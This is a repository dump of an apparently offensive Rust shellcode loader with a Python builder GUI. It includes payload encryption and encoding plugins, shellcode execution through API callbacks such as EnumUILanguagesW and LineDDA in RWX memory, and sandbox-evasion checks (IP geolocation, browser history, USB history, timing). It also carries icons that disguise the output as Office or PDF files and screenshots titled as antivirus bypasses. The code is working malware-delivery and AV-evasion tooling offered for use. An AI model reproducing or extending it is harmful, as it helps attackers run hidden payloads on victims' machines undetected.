├── encrypt_lib
├── __init__.py
├── xchacha20.py
├── rc4.py
├── mac.py
├── ipv4.py
├── uuid.py
├── aes.py
├── ipv6.py
└── ecc.py
├── src
├── forgery
│ ├── mod.rs
│ └── bundle.rs
├── load_payload
│ ├── read_file.rs
│ ├── mod.rs
│ ├── cmdline.rs
│ ├── read_file_v2.rs
│ ├── mailslot.rs
│ └── pipe.rs
├── utils
│ ├── debug.rs
│ ├── mod.rs
│ ├── http.rs
│ └── win_api.rs
├── guard
│ ├── prime.rs
│ ├── desktop_files.rs
│ ├── ip.rs
│ ├── usb_mount.rs
│ ├── edge.rs
│ ├── api_flood.rs
│ ├── c_drive.rs
│ ├── time.rs
│ ├── tick.rs
│ ├── rdtsc_timing.rs
│ ├── cpu_info.rs
│ ├── mod.rs
│ └── mouse.rs
├── exec
│ ├── enum_ui.rs
│ ├── linedda.rs
│ ├── fls_alloc.rs
│ ├── apc.rs
│ ├── fiber.rs
│ ├── create_thread_veh_syscall.rs
│ ├── create_thread.rs
│ ├── mod.rs
│ ├── apc_veh_syscall.rs
│ ├── gdi_families.rs
│ ├── apc_syscall.rs
│ ├── create_thread_syscall.rs
│ ├── create_remote_thread.rs
│ └── early_bird_apc.rs
├── alloc_mem
│ ├── va.rs
│ ├── mapview.rs
│ ├── local.rs
│ ├── snmp_util.rs
│ ├── global.rs
│ ├── heap.rs
│ ├── va_veh_syscall.rs
│ ├── va_from_app.rs
│ ├── va_syscall.rs
│ ├── sh_alloc.rs
│ ├── mod.rs
│ ├── section.rs
│ ├── section_veh_syscall.rs
│ └── section_syscall.rs
├── decode
│ └── mod.rs
├── decrypt
│ ├── mod.rs
│ ├── rc4.rs
│ ├── xchacha20.rs
│ ├── uuid.rs
│ ├── mac.rs
│ ├── ipv4.rs
│ ├── aes.rs
│ ├── ipv6.rs
│ └── ecc.rs
├── thunk.rs
└── main.rs
├── rust-toolchain.toml
├── icons
├── pdf.ico
├── word.ico
├── excel.ico
├── notepad.ico
└── avp_0000.ico
├── input
└── calc.bin
├── gui
├── icons
│ ├── bin.ico
│ ├── enc.ico
│ ├── exe.ico
│ ├── mem.ico
│ ├── pd.ico
│ ├── run.ico
│ ├── icon.ico
│ ├── bundle.ico
│ ├── folder.ico
│ ├── loading.gif
│ ├── rocket.ico
│ └── target.ico
├── __init__.py
├── sign.py
├── styles.py
├── config_manager.py
├── widgets.py
└── ui_components.py
├── static
├── front.png
├── pass1.png
├── pass2.png
├── 12-10-1.png
├── 12-10-2.png
├── defender.png
├── pass_360.png
├── pass_qianxin.png
└── pass_360sandbox.png
├── sign
└── app
│ └── 360Safe.exe
├── requirements.txt
├── .gitignore
├── bundle
└── index.html
├── main.py
├── rsl-macros
├── Cargo.toml
└── src
│ └── lib.rs
├── RustVEHSyscalls
├── src
│ ├── lib.rs
│ ├── utils.rs
│ └── syscall.rs
├── Cargo.toml
├── Cargo.lock
└── README.md
├── .cargo
└── config.toml
├── LICENSE
├── encrypt.py
├── Cargo.toml
└── config
└── plugins.json
/encrypt_lib/__init__.py:
--------------------------------------------------------------------------------
1 |
2 |
3 |
--------------------------------------------------------------------------------
/src/forgery/mod.rs:
--------------------------------------------------------------------------------
1 | pub mod bundle;
2 |
3 |
--------------------------------------------------------------------------------
/rust-toolchain.toml:
--------------------------------------------------------------------------------
1 | [toolchain]
2 | channel = "nightly"
3 |
--------------------------------------------------------------------------------
/icons/pdf.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/echQoQ/RustSL/HEAD/icons/pdf.ico
--------------------------------------------------------------------------------
/icons/word.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/echQoQ/RustSL/HEAD/icons/word.ico
--------------------------------------------------------------------------------
/input/calc.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/echQoQ/RustSL/HEAD/input/calc.bin
--------------------------------------------------------------------------------
/gui/icons/bin.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/echQoQ/RustSL/HEAD/gui/icons/bin.ico
--------------------------------------------------------------------------------
/gui/icons/enc.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/echQoQ/RustSL/HEAD/gui/icons/enc.ico
--------------------------------------------------------------------------------
/gui/icons/exe.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/echQoQ/RustSL/HEAD/gui/icons/exe.ico
--------------------------------------------------------------------------------
/gui/icons/mem.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/echQoQ/RustSL/HEAD/gui/icons/mem.ico
--------------------------------------------------------------------------------
/gui/icons/pd.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/echQoQ/RustSL/HEAD/gui/icons/pd.ico
--------------------------------------------------------------------------------
/gui/icons/run.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/echQoQ/RustSL/HEAD/gui/icons/run.ico
--------------------------------------------------------------------------------
/icons/excel.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/echQoQ/RustSL/HEAD/icons/excel.ico
--------------------------------------------------------------------------------
/icons/notepad.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/echQoQ/RustSL/HEAD/icons/notepad.ico
--------------------------------------------------------------------------------
/static/front.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/echQoQ/RustSL/HEAD/static/front.png
--------------------------------------------------------------------------------
/static/pass1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/echQoQ/RustSL/HEAD/static/pass1.png
--------------------------------------------------------------------------------
/static/pass2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/echQoQ/RustSL/HEAD/static/pass2.png
--------------------------------------------------------------------------------
/gui/__init__.py:
--------------------------------------------------------------------------------
1 |
2 | from .main_window import LoaderGUI
3 |
4 | __all__ = ['LoaderGUI']
--------------------------------------------------------------------------------
/gui/icons/icon.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/echQoQ/RustSL/HEAD/gui/icons/icon.ico
--------------------------------------------------------------------------------
/icons/avp_0000.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/echQoQ/RustSL/HEAD/icons/avp_0000.ico
--------------------------------------------------------------------------------
/static/12-10-1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/echQoQ/RustSL/HEAD/static/12-10-1.png
--------------------------------------------------------------------------------
/static/12-10-2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/echQoQ/RustSL/HEAD/static/12-10-2.png
--------------------------------------------------------------------------------
/static/defender.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/echQoQ/RustSL/HEAD/static/defender.png
--------------------------------------------------------------------------------
/static/pass_360.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/echQoQ/RustSL/HEAD/static/pass_360.png
--------------------------------------------------------------------------------
/gui/icons/bundle.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/echQoQ/RustSL/HEAD/gui/icons/bundle.ico
--------------------------------------------------------------------------------
/gui/icons/folder.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/echQoQ/RustSL/HEAD/gui/icons/folder.ico
--------------------------------------------------------------------------------
/gui/icons/loading.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/echQoQ/RustSL/HEAD/gui/icons/loading.gif
--------------------------------------------------------------------------------
/gui/icons/rocket.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/echQoQ/RustSL/HEAD/gui/icons/rocket.ico
--------------------------------------------------------------------------------
/gui/icons/target.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/echQoQ/RustSL/HEAD/gui/icons/target.ico
--------------------------------------------------------------------------------
/sign/app/360Safe.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/echQoQ/RustSL/HEAD/sign/app/360Safe.exe
--------------------------------------------------------------------------------
/static/pass_qianxin.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/echQoQ/RustSL/HEAD/static/pass_qianxin.png
--------------------------------------------------------------------------------
/static/pass_360sandbox.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/echQoQ/RustSL/HEAD/static/pass_360sandbox.png
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | # GUI 依赖
2 | PyQt5>=5.15.0
3 |
4 | # 加密库依赖
5 | pycryptodome>=3.15.0
6 | cryptography>=3.4.0
7 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | target/*
2 | icon.rc
3 | output/*
4 | */__pycache__/
5 | __pycache__
6 | input/*
7 | !input/calc.bin
8 | arsenal-kit/*
9 | .vscode/*
10 | src/forgery/bundle_data.rs
--------------------------------------------------------------------------------
/bundle/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | Redirecting...
8 |
9 |
--------------------------------------------------------------------------------
/src/load_payload/read_file.rs:
--------------------------------------------------------------------------------
1 | pub fn load_payload() -> Result, String> {
2 | const ENCRYPT_DATA: &'static [u8] = include_bytes!("../../output/encrypt.bin");
3 | Ok(ENCRYPT_DATA.to_vec())
4 | }
5 |
--------------------------------------------------------------------------------
/main.py:
--------------------------------------------------------------------------------
1 | import sys
2 | from PyQt5.QtWidgets import QApplication
3 | from gui.main_window import LoaderGUI
4 |
5 | if __name__ == '__main__':
6 | app = QApplication(sys.argv)
7 | gui = LoaderGUI()
8 | gui.show()
9 | sys.exit(app.exec_())
10 |
--------------------------------------------------------------------------------
/rsl-macros/Cargo.toml:
--------------------------------------------------------------------------------
1 | [package]
2 | name = "rsl-macros"
3 | version = "0.1.0"
4 | edition = "2021"
5 |
6 | [lib]
7 | proc-macro = true
8 |
9 | [dependencies]
10 | proc-macro2 = "1.0"
11 | quote = "1.0"
12 | syn = { version = "2.0", features = ["full"] }
13 | rand = "0.8"
14 | base64 = "0.21.5"
--------------------------------------------------------------------------------
/RustVEHSyscalls/src/lib.rs:
--------------------------------------------------------------------------------
1 | #![no_std]
2 |
3 | pub mod def;
4 | pub mod hooks;
5 | pub mod syscall;
6 | pub mod utils;
7 |
8 | pub use crate::hooks::set_hw_bp;
9 | pub use crate::syscall::get_ssn_by_name;
10 | pub use crate::utils::dbj2_hash;
11 | pub use crate::hooks::{initialize_hooks, destroy_hooks};
12 |
--------------------------------------------------------------------------------
/.cargo/config.toml:
--------------------------------------------------------------------------------
1 | [unstable]
2 | build-std = ["std", "panic_abort"]
3 |
4 | [target.x86_64-pc-windows-msvc]
5 | rustflags = [
6 | "-C", "link-arg=/DEBUG:NONE",
7 | "-C", "target-feature=+crt-static",
8 | ]
9 |
10 | [target.x86_64-pc-windows-gnu]
11 | rustflags = [
12 | "-C", "link-arg=-Wl,--strip-debug",
13 | ]
--------------------------------------------------------------------------------
/src/utils/debug.rs:
--------------------------------------------------------------------------------
1 | #[cfg(feature = "debug")]
2 | use colored::*;
3 |
4 | #[cfg(feature = "debug")]
5 | pub fn print_error(_prefix: &str, _error: &dyn std::fmt::Display) {
6 | println!("{} {}", _prefix.red(), _error);
7 | }
8 |
9 | #[cfg(feature = "debug")]
10 | pub fn print_message(msg: &str) {
11 | println!("{}",msg.green());
12 | }
--------------------------------------------------------------------------------
/RustVEHSyscalls/Cargo.toml:
--------------------------------------------------------------------------------
1 | [package]
2 | name = "rust-veh-syscalls"
3 | version = "0.1.0"
4 | edition = "2021"
5 | authors = ["safedv "]
6 |
7 | [dependencies]
8 | winapi = {version = "0.3.9", features =["winnt", "errhandlingapi", "heapapi", "winuser"]}
9 |
10 | [dev-dependencies]
11 | winapi = {version = "0.3.9", features =["memoryapi"]}
12 | ntapi = "0.4"
13 | libc-print = "0.1.23"
14 |
--------------------------------------------------------------------------------
/src/guard/prime.rs:
--------------------------------------------------------------------------------
1 | #[cfg(feature = "vm_check_prime")]
2 | pub fn check_prime() -> bool {
3 | let n1: u64 = 1_000_000_000_000_002_493;
4 | for _ in 0..30 {
5 | if n1 <= 1 {
6 | return false;
7 | }
8 | let mut is_prime = true;
9 | let sqrt_n = (n1 as f64).sqrt() as u64 + 1;
10 | for i in 2..sqrt_n {
11 | if n1 % i == 0 {
12 | is_prime = false;
13 | break;
14 | }
15 | }
16 | if !is_prime {
17 | return false;
18 | }
19 | }
20 | true
21 | }
22 |
--------------------------------------------------------------------------------
/src/exec/enum_ui.rs:
--------------------------------------------------------------------------------
1 | pub unsafe fn exec(p: usize) -> Result<(), String> {
2 | use std::ffi::c_void;
3 | use crate::utils::{load_library, get_proc_address};
4 | use obfstr::obfbytes;
5 | use std::mem::transmute;
6 | let kernel32 = load_library(obfbytes!(b"kernel32.dll\0").as_slice())?;
7 | let p_enum_uilanguages = get_proc_address(kernel32, obfbytes!(b"EnumUILanguagesW\0").as_slice())?;
8 | type EnumUILanguagesFn = unsafe extern "system" fn(*mut c_void, u32, isize) -> i32;
9 | let enum_uilanguages: EnumUILanguagesFn = transmute(p_enum_uilanguages);
10 | enum_uilanguages(p as *mut c_void, 0, 0);
11 | Ok(())
12 | }
--------------------------------------------------------------------------------
/src/guard/desktop_files.rs:
--------------------------------------------------------------------------------
1 | #[allow(dead_code)]
2 | pub fn check_desktop_files(threshold: usize) -> bool {
3 | use std::fs;
4 | let desktop_path = match get_desktop_path() {
5 | Some(path) => path,
6 | None => return false,
7 | };
8 |
9 | let entries = match fs::read_dir(&desktop_path) {
10 | Ok(entries) => entries,
11 | Err(_) => return false,
12 | };
13 |
14 | let file_count = entries.filter_map(|entry| entry.ok()).count();
15 |
16 | file_count >= threshold
17 | }
18 |
19 | #[allow(dead_code)]
20 | fn get_desktop_path() -> Option {
21 | dirs::desktop_dir()
22 | }
--------------------------------------------------------------------------------
/encrypt_lib/xchacha20.py:
--------------------------------------------------------------------------------
1 | name = 'xchacha20'
2 | description = 'XChaCha20-Poly1305 AEAD with 24-byte nonce; payload: [Key(32)][Nonce(24)][Tag(16)][Ciphertext]'
3 |
4 | import os
5 | import hashlib
6 |
7 | def process(data, args):
8 | try:
9 | from Crypto.Cipher import ChaCha20_Poly1305
10 | except Exception:
11 | raise RuntimeError("pycryptodome is required for xchacha20 plugin")
12 |
13 | key = os.urandom(32)
14 | nonce = os.urandom(24)
15 | cipher = ChaCha20_Poly1305.new(key=key, nonce=nonce)
16 | ciphertext, tag = cipher.encrypt_and_digest(data)
17 | final = key + nonce + tag + ciphertext
18 | return final
--------------------------------------------------------------------------------
/src/guard/ip.rs:
--------------------------------------------------------------------------------
1 | // IP检测:通过ip-api.com获取IP归属地,若非中国则判定为沙箱或代理环境
2 | #[cfg(feature = "vm_check_ip")]
3 | pub fn check_ip() -> bool {
4 | let url = "http://ip-api.com/csv";
5 | match crate::utils::http_get(url) {
6 | Ok((status_code, body)) => {
7 | if status_code == 200 {
8 | let body_str = String::from_utf8_lossy(&body);
9 | if body_str.contains("China") {
10 | return true;
11 | } else {
12 | return false;
13 | }
14 | } else {
15 | return false;
16 | }
17 | }
18 | Err(_) => false,
19 | }
20 | }
--------------------------------------------------------------------------------
/encrypt_lib/rc4.py:
--------------------------------------------------------------------------------
1 | name = 'rc4'
2 | description = 'RC4 encrypt with random 32-byte key, output [key(32)][sha256(orig)][encrypted]'
3 |
4 | import os
5 | import hashlib
6 | import base64
7 |
8 | def sha256_bytes(b):
9 | sha = hashlib.sha256()
10 | sha.update(b)
11 | return sha.digest()
12 |
13 |
14 | def process(data, args):
15 | try:
16 | from Crypto.Cipher import ARC4
17 | except Exception:
18 | raise RuntimeError('pycryptodome is required for rc4 plugin')
19 | key = os.urandom(32)
20 | cipher = ARC4.new(key)
21 | encrypted = cipher.encrypt(data)
22 | hash1 = sha256_bytes(data)
23 | final = key + hash1 + encrypted
24 | return final
25 |
--------------------------------------------------------------------------------
/src/guard/usb_mount.rs:
--------------------------------------------------------------------------------
1 | #[allow(dead_code)]
2 | use obfstr::obfstr;
3 | pub fn has_usb_history() -> bool {
4 | use winreg::enums::{HKEY_LOCAL_MACHINE, KEY_READ};
5 | use winreg::RegKey;
6 |
7 | let hklm = RegKey::predef(HKEY_LOCAL_MACHINE);
8 |
9 | // Check USBSTOR registry key for subkeys (indicating USB storage devices were connected)
10 | if let Ok(usbstor) = hklm.open_subkey_with_flags(obfstr!("SYSTEM\\CurrentControlSet\\Enum\\USBSTOR"), KEY_READ) {
11 | let subkeys: Vec = usbstor.enum_keys().filter_map(|x| x.ok()).collect();
12 | if !subkeys.is_empty() {
13 | return true;
14 | }
15 | }
16 |
17 | false
18 | }
--------------------------------------------------------------------------------
/src/guard/edge.rs:
--------------------------------------------------------------------------------
1 | // Edge浏览器历史检测:判断Edge历史文件是否大于20KB
2 | #[cfg(feature = "vm_check_edge")]
3 | pub fn check_edge() -> bool {
4 | use std::fs::metadata;
5 | use std::path::PathBuf;
6 | use std::env;
7 |
8 | // 获取当前用户名
9 | let username = match env::var("USERNAME") {
10 | Ok(u) => u,
11 | Err(_) => return false,
12 | };
13 | let mut path = PathBuf::from("C:\\Users");
14 | path.push(&username);
15 | path.push("AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\History");
16 |
17 | // 检查文件是否存在及大小
18 | if let Ok(meta) = metadata(&path) {
19 | if meta.len() > 20 * 1024 {
20 | return true;
21 | }
22 | }
23 | false
24 | }
25 |
--------------------------------------------------------------------------------
/src/exec/linedda.rs:
--------------------------------------------------------------------------------
1 | use obfstr::{obfbytes, obfstr};
2 | pub unsafe fn exec(p: usize) -> Result<(), String> {
3 | use crate::utils::{load_library, get_proc_address};
4 | use std::mem::transmute;
5 |
6 | let gdi32 = load_library(obfbytes!(b"gdi32.dll\0").as_slice())?;
7 | let p_linedda = get_proc_address(gdi32, obfbytes!(b"LineDDA\0").as_slice())?;
8 |
9 | type LineDDAFn = unsafe extern "system" fn(i32, i32, i32, i32, unsafe extern "system" fn(i32, i32, isize), isize) -> i32;
10 | let linedda: LineDDAFn = transmute(p_linedda);
11 |
12 | let ret = linedda(0, 0, 1, 1, transmute(p), 0);
13 | if ret == 0 {
14 | return Err(obfstr!("LineDDA failed").to_string());
15 | }
16 | Ok(())
17 | }
--------------------------------------------------------------------------------
/encrypt_lib/mac.py:
--------------------------------------------------------------------------------
1 | name = 'mac'
2 | description = 'Encode binary as MAC addresses (comma separated) with leading sha256 and length'
3 |
4 | import hashlib
5 |
6 | def sha256_bytes(b):
7 | sha = hashlib.sha256()
8 | sha.update(b)
9 | return sha.digest()
10 |
11 | def bytes_to_mac(b):
12 | return '-'.join(f'{x:02X}' for x in b)
13 |
14 | def process(data, args):
15 | addresses = []
16 | for i in range(0, len(data), 6):
17 | mac_bytes = data[i:i+6]
18 | if len(mac_bytes) < 6:
19 | mac_bytes += b'\x00' * (6 - len(mac_bytes))
20 | addresses.append(bytes_to_mac(mac_bytes))
21 | hash1 = sha256_bytes(data)
22 | len_bytes = len(data).to_bytes(4, 'little')
23 | final = hash1 + len_bytes + ','.join(addresses).encode()
24 | return final
--------------------------------------------------------------------------------
/src/load_payload/mod.rs:
--------------------------------------------------------------------------------
1 | #[cfg(feature = "load_payload_read_file")]
2 | pub mod read_file;
3 | #[cfg(feature = "load_payload_pipe")]
4 | pub mod pipe;
5 | #[cfg(feature = "load_payload_mailslot")]
6 | pub mod mailslot;
7 | #[cfg(feature = "load_payload_read_file_v2")]
8 | pub mod read_file_v2;
9 | #[cfg(feature = "load_payload_cmdline")]
10 | pub mod cmdline;
11 |
12 | #[cfg(feature = "load_payload_read_file")]
13 | pub use read_file::load_payload;
14 |
15 | #[cfg(feature = "load_payload_pipe")]
16 | pub use pipe::load_payload;
17 |
18 | #[cfg(feature = "load_payload_mailslot")]
19 | pub use mailslot::load_payload;
20 |
21 | #[cfg(feature = "load_payload_read_file_v2")]
22 | pub use read_file_v2::load_payload;
23 |
24 | #[cfg(feature = "load_payload_cmdline")]
25 | pub use cmdline::load_payload;
26 |
--------------------------------------------------------------------------------
/encrypt_lib/ipv4.py:
--------------------------------------------------------------------------------
1 | name = 'ipv4'
2 | description = 'Encode binary as IPv4 addresses (comma separated) with leading sha256 and length'
3 |
4 | import hashlib
5 | import base64
6 |
7 | def sha256_bytes(b):
8 | sha = hashlib.sha256()
9 | sha.update(b)
10 | return sha.digest()
11 |
12 | def bytes_to_ipv4(b):
13 | return '.'.join(str(x) for x in b)
14 |
15 | def process(data, args):
16 | addresses = []
17 | for i in range(0, len(data), 4):
18 | addr_bytes = data[i:i+4]
19 | if len(addr_bytes) < 4:
20 | addr_bytes += b'\x00' * (4 - len(addr_bytes))
21 | addresses.append(bytes_to_ipv4(addr_bytes))
22 | hash1 = sha256_bytes(data)
23 | len_bytes = len(data).to_bytes(4, 'little')
24 | final = hash1 + len_bytes + ','.join(addresses).encode()
25 | return final
--------------------------------------------------------------------------------
/encrypt_lib/uuid.py:
--------------------------------------------------------------------------------
1 | name = 'uuid'
2 | description = 'Interpret binary as sequence of UUIDs (16-byte blocks) with leading sha256 and length'
3 |
4 | import uuid
5 | import hashlib
6 | import base64
7 |
8 | def sha256_bytes(b):
9 | sha = hashlib.sha256()
10 | sha.update(b)
11 | return sha.digest()
12 |
13 |
14 | def process(data, args):
15 | # pad to 16-byte multiple
16 | pad_len = (16 - (len(data) % 16)) % 16
17 | if pad_len:
18 | data = data + (b'\x00' * pad_len)
19 | uuids = []
20 | for i in range(0, len(data), 16):
21 | block = data[i:i+16]
22 | u = uuid.UUID(bytes=block)
23 | uuids.append(str(u))
24 | hash1 = sha256_bytes(data)
25 | len_bytes = len(data).to_bytes(4, 'little')
26 | final = hash1 + len_bytes + ','.join(uuids).encode()
27 | return final
28 |
--------------------------------------------------------------------------------
/src/alloc_mem/va.rs:
--------------------------------------------------------------------------------
1 | use crate::utils::{load_library, get_proc_address};
2 | pub unsafe fn alloc_mem(size: usize) -> Result<*mut u8, String> {
3 | use obfstr::{obfstr, obfbytes};
4 | use core::ffi::c_void;
5 |
6 | type VirtualAllocFn = unsafe extern "system" fn(lp_address: *mut c_void, dw_size: usize, fl_allocation_type: u32, fl_protect: u32) -> *mut c_void;
7 |
8 | let kernel32 = load_library(obfbytes!(b"kernel32.dll\0").as_slice())?;
9 | let virtual_alloc: VirtualAllocFn = core::mem::transmute(get_proc_address(kernel32, obfbytes!(b"VirtualAlloc\0").as_slice())?);
10 |
11 | let p = virtual_alloc(core::ptr::null_mut(), size, 0x00001000, 0x40) as *mut u8; // MEM_COMMIT, PAGE_EXECUTE_READWRITE
12 | if p.is_null() {
13 | return Err(obfstr!("VirtualAlloc failed").to_string());
14 | }
15 | Ok(p)
16 | }
--------------------------------------------------------------------------------
/src/utils/mod.rs:
--------------------------------------------------------------------------------
1 | #![allow(dead_code, unused_imports)]
2 |
3 | mod http;
4 | pub use http::http_get;
5 |
6 | mod win_api;
7 | pub use win_api::{
8 | load_library,
9 | get_proc_address
10 | };
11 |
12 | #[cfg(feature = "debug")]
13 | mod debug;
14 | #[cfg(feature = "debug")]
15 | pub use debug::{
16 | print_message,
17 | print_error
18 | };
19 |
20 |
21 | pub fn simple_decrypt(encrypted: &str) -> String {
22 | use obfstr::obfbytes;
23 | use base64::{Engine as _, engine::general_purpose};
24 | let decoded = general_purpose::STANDARD.decode(encrypted).unwrap();
25 | let obf_key = obfbytes!(b"rsl_secret_key_2025");
26 | let key = obf_key.as_slice();
27 | let decrypted: Vec = decoded.iter().enumerate().map(|(i, &b)| b ^ key[i % key.len()]).collect();
28 | String::from_utf8(decrypted).unwrap()
29 | }
30 |
--------------------------------------------------------------------------------
/encrypt_lib/aes.py:
--------------------------------------------------------------------------------
1 | name = 'aes'
2 | description = 'AES encrypt with random 32-byte key and 16-byte IV, output [key(32)][iv(16)][sha256(orig)][encrypted]'
3 |
4 | import os
5 | import hashlib
6 |
7 | def sha256_bytes(b):
8 | sha = hashlib.sha256()
9 | sha.update(b)
10 | return sha.digest()
11 |
12 | def process(data, args):
13 | try:
14 | from Crypto.Cipher import AES
15 | from Crypto.Util.Padding import pad
16 | except Exception:
17 | raise RuntimeError('pycryptodome is required for aes plugin')
18 |
19 | # generate key and iv
20 | key = os.urandom(32)
21 | iv = os.urandom(16)
22 |
23 | padded_data = pad(data, AES.block_size)
24 | cipher = AES.new(key, AES.MODE_CBC, iv)
25 | encrypted = cipher.encrypt(padded_data)
26 | hash1 = sha256_bytes(data)
27 | final = key + iv + hash1 + encrypted
28 | return final
--------------------------------------------------------------------------------
/encrypt_lib/ipv6.py:
--------------------------------------------------------------------------------
1 | name = 'ipv6'
2 | description = 'Encode binary as IPv6 addresses (comma separated) with leading sha256 and length'
3 |
4 | import hashlib
5 | import base64
6 |
7 | def sha256_bytes(b):
8 | sha = hashlib.sha256()
9 | sha.update(b)
10 | return sha.digest()
11 |
12 | def bytes_to_ipv6(b):
13 | parts = []
14 | for i in range(0, 16, 2):
15 | v = int.from_bytes(b[i:i+2], 'big')
16 | parts.append(f'{v:04X}')
17 | return ':'.join(parts)
18 |
19 | def process(data, args):
20 | addresses = []
21 | for i in range(0, len(data), 16):
22 | addr_bytes = data[i:i+16]
23 | if len(addr_bytes) < 16:
24 | addr_bytes += b'\x00' * (16 - len(addr_bytes))
25 | addresses.append(bytes_to_ipv6(addr_bytes))
26 | hash1 = sha256_bytes(data)
27 | len_bytes = len(data).to_bytes(4, 'little')
28 | final = hash1 + len_bytes + ','.join(addresses).encode()
29 | return final
30 |
--------------------------------------------------------------------------------
/src/decode/mod.rs:
--------------------------------------------------------------------------------
1 |
2 | #[cfg(feature = "base32_decode")]
3 | #[allow(dead_code)]
4 | pub fn decode_payload(data: &[u8]) -> Option> {
5 | let raw = std::str::from_utf8(data).ok()?;
6 | base32::decode(base32::Alphabet::Rfc4648 { padding: true }, raw)
7 | }
8 |
9 | #[cfg(feature = "base64_decode")]
10 | #[allow(dead_code)]
11 | pub fn decode_payload(data: &[u8]) -> Option> {
12 | use base64::Engine;
13 | base64::engine::general_purpose::STANDARD.decode(data).ok()
14 | }
15 |
16 | #[cfg(feature = "urlsafe_base64_decode")]
17 | #[allow(dead_code)]
18 | pub fn decode_payload(data: &[u8]) -> Option> {
19 | use base64::Engine;
20 | base64::engine::general_purpose::URL_SAFE.decode(data).ok()
21 | }
22 |
23 | #[cfg(feature = "hex_decode")]
24 | #[allow(dead_code)]
25 | pub fn decode_payload(data: &[u8]) -> Option> {
26 | let raw = std::str::from_utf8(data).ok()?;
27 | hex::decode(raw.trim()).ok()
28 | }
29 |
30 | #[cfg(feature = "none_decode")]
31 | #[allow(dead_code)]
32 | pub fn decode_payload(data: &[u8]) -> Option> {
33 | Some(data.to_vec())
34 | }
--------------------------------------------------------------------------------
/src/decrypt/mod.rs:
--------------------------------------------------------------------------------
1 | #[cfg(feature = "decrypt_ipv4")]
2 | mod ipv4;
3 | #[cfg(feature = "decrypt_ipv4")]
4 | pub use crate::decrypt::ipv4::decrypt;
5 |
6 | #[cfg(feature = "decrypt_ipv6")]
7 | mod ipv6;
8 | #[cfg(feature = "decrypt_ipv6")]
9 | pub use crate::decrypt::ipv6::decrypt;
10 |
11 | #[cfg(feature = "decrypt_uuid")]
12 | mod uuid;
13 | #[cfg(feature = "decrypt_uuid")]
14 | pub use crate::decrypt::uuid::decrypt;
15 |
16 | #[cfg(feature = "decrypt_mac")]
17 | mod mac;
18 | #[cfg(feature = "decrypt_mac")]
19 | pub use crate::decrypt::mac::decrypt;
20 |
21 | #[cfg(feature = "decrypt_rc4")]
22 | mod rc4;
23 | #[cfg(feature = "decrypt_rc4")]
24 | pub use crate::decrypt::rc4::decrypt;
25 |
26 | #[cfg(feature = "decrypt_aes")]
27 | mod aes;
28 | #[cfg(feature = "decrypt_aes")]
29 | pub use crate::decrypt::aes::decrypt;
30 |
31 | #[cfg(feature = "decrypt_xchacha20")]
32 | mod xchacha20;
33 | #[cfg(feature = "decrypt_xchacha20")]
34 | pub use crate::decrypt::xchacha20::decrypt;
35 |
36 | #[cfg(feature = "decrypt_ecc")]
37 | mod ecc;
38 | #[cfg(feature = "decrypt_ecc")]
39 | pub use crate::decrypt::ecc::decrypt;
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2025 echQoQ
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/src/alloc_mem/mapview.rs:
--------------------------------------------------------------------------------
1 | use crate::utils::{load_library, get_proc_address};
2 | pub unsafe fn alloc_mem(size: usize) -> Result<*mut u8, String> {
3 | use obfstr::{obfstr, obfbytes};
4 | use core::ffi::c_void;
5 |
6 | type VirtualProtectFn = unsafe extern "system" fn(lp_address: *mut c_void, dw_size: usize, fl_new_protect: u32, lpfl_old_protect: *mut u32) -> i32;
7 |
